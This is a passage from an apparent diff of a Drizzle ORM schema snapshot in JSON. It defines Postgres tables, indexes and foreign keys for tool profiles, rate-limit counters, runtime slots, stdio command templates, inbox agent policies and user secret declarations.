"isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_profile_bindings_target_profile_uq": { + "name": "tool_profile_bindings_target_profile_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "profile_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "tool_profile_bindings_company_id_companies_id_fk": { + "name": "tool_profile_bindings_company_id_companies_id_fk", + "tableFrom": "tool_profile_bindings", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_profile_bindings_profile_id_tool_profiles_id_fk": { + "name": "tool_profile_bindings_profile_id_tool_profiles_id_fk", + "tableFrom": "tool_profile_bindings", + "columnsFrom": [ + "profile_id" + ], + "tableTo": "tool_profiles", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_profile_bindings_created_by_agent_id_agents_id_fk": { + "name": "tool_profile_bindings_created_by_agent_id_agents_id_fk", + "tableFrom": "tool_profile_bindings", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.tool_profile_entries": { + "name": "tool_profile_entries", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "profile_id": { + "name": "profile_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "selector_type": { + "name": "selector_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "effect": { + "name": "effect", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'include'" + }, + "application_id": { + "name": "application_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "connection_id": { + "name": "connection_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "catalog_entry_id": { + "name": "catalog_entry_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "tool_name": { + "name": "tool_name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "risk_level": { + "name": "risk_level", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "conditions": { + "name": "conditions", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "tool_profile_entries_company_profile_idx": { + "name": "tool_profile_entries_company_profile_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "profile_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_profile_entries_application_idx": { + "name": "tool_profile_entries_application_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "application_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_profile_entries_connection_idx": { + "name": "tool_profile_entries_connection_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "connection_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_profile_entries_catalog_entry_idx": { + "name": "tool_profile_entries_catalog_entry_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "catalog_entry_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "tool_profile_entries_company_id_companies_id_fk": { + "name": "tool_profile_entries_company_id_companies_id_fk", + "tableFrom": "tool_profile_entries", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_profile_entries_profile_id_tool_profiles_id_fk": { + "name": "tool_profile_entries_profile_id_tool_profiles_id_fk", + "tableFrom": "tool_profile_entries", + "columnsFrom": [ + "profile_id" + ], + "tableTo": "tool_profiles", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_profile_entries_application_id_tool_applications_id_fk": { + "name": "tool_profile_entries_application_id_tool_applications_id_fk", + "tableFrom": "tool_profile_entries", + "columnsFrom": [ + "application_id" + ], + "tableTo": "tool_applications", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_profile_entries_connection_id_tool_connections_id_fk": { + "name": "tool_profile_entries_connection_id_tool_connections_id_fk", + "tableFrom": "tool_profile_entries", + "columnsFrom": [ + "connection_id" + ], + "tableTo": "tool_connections", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_profile_entries_catalog_entry_id_tool_catalog_entries_id_fk": { + "name": "tool_profile_entries_catalog_entry_id_tool_catalog_entries_id_fk", + "tableFrom": "tool_profile_entries", + "columnsFrom": [ + "catalog_entry_id" + ], + "tableTo": "tool_catalog_entries", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.tool_profiles": { + "name": "tool_profiles", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "profile_key": { + "name": "profile_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "default_action": { + "name": "default_action", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'deny'" + }, + "new_tools_reviewed_at": { + "name": "new_tools_reviewed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "tool_profiles_company_status_idx": { + "name": "tool_profiles_company_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_profiles_company_key_uq": { + "name": "tool_profiles_company_key_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "profile_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_profiles_company_name_uq": { + "name": "tool_profiles_company_name_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "tool_profiles_company_id_companies_id_fk": { + "name": "tool_profiles_company_id_companies_id_fk", + "tableFrom": "tool_profiles", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.tool_rate_limit_counters": { + "name": "tool_rate_limit_counters", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "policy_id": { + "name": "policy_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "counter_key": { + "name": "counter_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scope_type": { + "name": "scope_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scope_id": { + "name": "scope_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "window_kind": { + "name": "window_kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "window_start_at": { + "name": "window_start_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "limit": { + "name": "limit", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "remaining": { + "name": "remaining", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "reset_at": { + "name": "reset_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "tool_rate_limit_counters_company_idx": { + "name": "tool_rate_limit_counters_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_rate_limit_counters_window_uq": { + "name": "tool_rate_limit_counters_window_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "policy_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "counter_key", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "window_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "window_start_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "tool_rate_limit_counters_company_id_companies_id_fk": { + "name": "tool_rate_limit_counters_company_id_companies_id_fk", + "tableFrom": "tool_rate_limit_counters", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_rate_limit_counters_policy_id_tool_policies_id_fk": { + "name": "tool_rate_limit_counters_policy_id_tool_policies_id_fk", + "tableFrom": "tool_rate_limit_counters", + "columnsFrom": [ + "policy_id" + ], + "tableTo": "tool_policies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.tool_runtime_metric_counters": { + "name": "tool_runtime_metric_counters", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "metric": { + "name": "metric", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "bucket_start_at": { + "name": "bucket_start_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "count": { + "name": "count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "tool_runtime_metric_counters_company_metric_idx": { + "name": "tool_runtime_metric_counters_company_metric_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "metric", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "bucket_start_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_runtime_metric_counters_bucket_uq": { + "name": "tool_runtime_metric_counters_bucket_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "metric", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "bucket_start_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "tool_runtime_metric_counters_company_id_companies_id_fk": { + "name": "tool_runtime_metric_counters_company_id_companies_id_fk", + "tableFrom": "tool_runtime_metric_counters", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.tool_runtime_slots": { + "name": "tool_runtime_slots", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "application_id": { + "name": "application_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "connection_id": { + "name": "connection_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "project_workspace_id": { + "name": "project_workspace_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "execution_workspace_id": { + "name": "execution_workspace_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "owner_scope_type": { + "name": "owner_scope_type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'connection'" + }, + "owner_scope_id": { + "name": "owner_scope_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "runtime_kind": { + "name": "runtime_kind", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'local_stdio'" + }, + "slot_key": { + "name": "slot_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'stopped'" + }, + "reuse_key": { + "name": "reuse_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "workspace_scope": { + "name": "workspace_scope", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "credential_scope_hash": { + "name": "credential_scope_hash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "provider_ref": { + "name": "provider_ref", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "process_id": { + "name": "process_id", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "command_template_key": { + "name": "command_template_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "health_status": { + "name": "health_status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'unchecked'" + }, + "health_message": { + "name": "health_message", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "last_health_check_at": { + "name": "last_health_check_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_started_at": { + "name": "last_started_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "started_at": { + "name": "started_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "stopped_at": { + "name": "stopped_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_used_at": { + "name": "last_used_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "idle_expires_at": { + "name": "idle_expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "idle_deadline_at": { + "name": "idle_deadline_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_error": { + "name": "last_error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "tool_runtime_slots_company_idx": { + "name": "tool_runtime_slots_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_runtime_slots_connection_idx": { + "name": "tool_runtime_slots_connection_idx", + "columns": [ + { + "expression": "connection_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_runtime_slots_execution_workspace_idx": { + "name": "tool_runtime_slots_execution_workspace_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "execution_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_runtime_slots_slot_key_uq": { + "name": "tool_runtime_slots_slot_key_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "slot_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "tool_runtime_slots_company_id_companies_id_fk": { + "name": "tool_runtime_slots_company_id_companies_id_fk", + "tableFrom": "tool_runtime_slots", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_runtime_slots_application_id_tool_applications_id_fk": { + "name": "tool_runtime_slots_application_id_tool_applications_id_fk", + "tableFrom": "tool_runtime_slots", + "columnsFrom": [ + "application_id" + ], + "tableTo": "tool_applications", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_runtime_slots_connection_id_tool_connections_id_fk": { + "name": "tool_runtime_slots_connection_id_tool_connections_id_fk", + "tableFrom": "tool_runtime_slots", + "columnsFrom": [ + "connection_id" + ], + "tableTo": "tool_connections", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_runtime_slots_project_workspace_id_project_workspaces_id_fk": { + "name": "tool_runtime_slots_project_workspace_id_project_workspaces_id_fk", + "tableFrom": "tool_runtime_slots", + "columnsFrom": [ + "project_workspace_id" + ], + "tableTo": "project_workspaces", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_runtime_slots_execution_workspace_id_execution_workspaces_id_fk": { + "name": "tool_runtime_slots_execution_workspace_id_execution_workspaces_id_fk", + "tableFrom": "tool_runtime_slots", + "columnsFrom": [ + "execution_workspace_id" + ], + "tableTo": "execution_workspaces", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "tool_runtime_slots_issue_id_issues_id_fk": { + "name": "tool_runtime_slots_issue_id_issues_id_fk", + "tableFrom": "tool_runtime_slots", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.tool_stdio_command_templates": { + "name": "tool_stdio_command_templates", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "template_key": { + "name": "template_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "command": { + "name": "command", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "args": { + "name": "args", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "env_keys": { + "name": "env_keys", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "tools": { + "name": "tools", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "disabled_at": { + "name": "disabled_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "tool_stdio_command_templates_company_idx": { + "name": "tool_stdio_command_templates_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_stdio_command_templates_company_status_idx": { + "name": "tool_stdio_command_templates_company_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "tool_stdio_command_templates_company_key_uq": { + "name": "tool_stdio_command_templates_company_key_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "template_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "tool_stdio_command_templates_company_id_companies_id_fk": { + "name": "tool_stdio_command_templates_company_id_companies_id_fk", + "tableFrom": "tool_stdio_command_templates", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "tool_stdio_command_templates_created_by_agent_id_agents_id_fk": { + "name": "tool_stdio_command_templates_created_by_agent_id_agents_id_fk", + "tableFrom": "tool_stdio_command_templates", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.user_inbox_agent_policies": { + "name": "user_inbox_agent_policies", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "mode": { + "name": "mode", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'open'" + }, + "allowed_agent_ids": { + "name": "allowed_agent_ids", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "user_inbox_agent_policies_company_user_uq": { + "name": "user_inbox_agent_policies_company_user_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "user_inbox_agent_policies_allowed_agent_ids_idx": { + "name": "user_inbox_agent_policies_allowed_agent_ids_idx", + "columns": [ + { + "expression": "allowed_agent_ids", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "gin", + "concurrently": false + } + }, + "foreignKeys": { + "user_inbox_agent_policies_company_id_companies_id_fk": { + "name": "user_inbox_agent_policies_company_id_companies_id_fk", + "tableFrom": "user_inbox_agent_policies", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "user_inbox_agent_policies_mode_check": { + "name": "user_inbox_agent_policies_mode_check", + "value": "\"user_inbox_agent_policies\".\"mode\" in ('open', 'allowlist', 'disabled')" + } + }, + "isRLSEnabled": false + }, + "public.user_secret_declarations": { + "name": "user_secret_declarations", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "user_secret_definition_id": { + "name": "user_secret_definition_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "target_type": { + "name": "target_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "target_id": { + "name": "target_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "config_path": { + "name": "config_path", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "env_key": { + "name": "env_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "version_selector": { + "name": "version_selector", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'latest'" + }, + "required": { + "name": "required", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "allow_missing_override": { + "name": "allow_missing_override", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "label": { + "name": "label", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "user_secret_declarations_company_idx": { + "name": "user_secret_declarations_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "user_secret_declarations_definition_idx": { + "name": "user_secret_declarations_definition_idx", + "columns": [ + { + "expression": "user_secret_definition_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "user_secret_declarations_target_idx": { + "name": "user_secret_declarations_target_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "user_secret_declarations_company_required_idx": { + "name": "user_secret_declarations_company_required_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "required", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "user_secret_declarations_target_path_uq": { + "name": "user_secret_declarations_target_path_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "config_path", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "user_secret_declarations_required_override_idx": { + "name": "user_secret_declarations_required_override_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "allow_missing_override", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "where": "\"user_secret_declarations\".\"allow_missing_override\" = true", + "concurrently": false + } + }, + "foreignKeys": { + "user_secret_declarations_company_id_companies_id_fk": { + "name": "user_secret_declarations_company_id_companies_id_fk", + "tableFrom": "user_secret_declarations", + "columnsFrom": 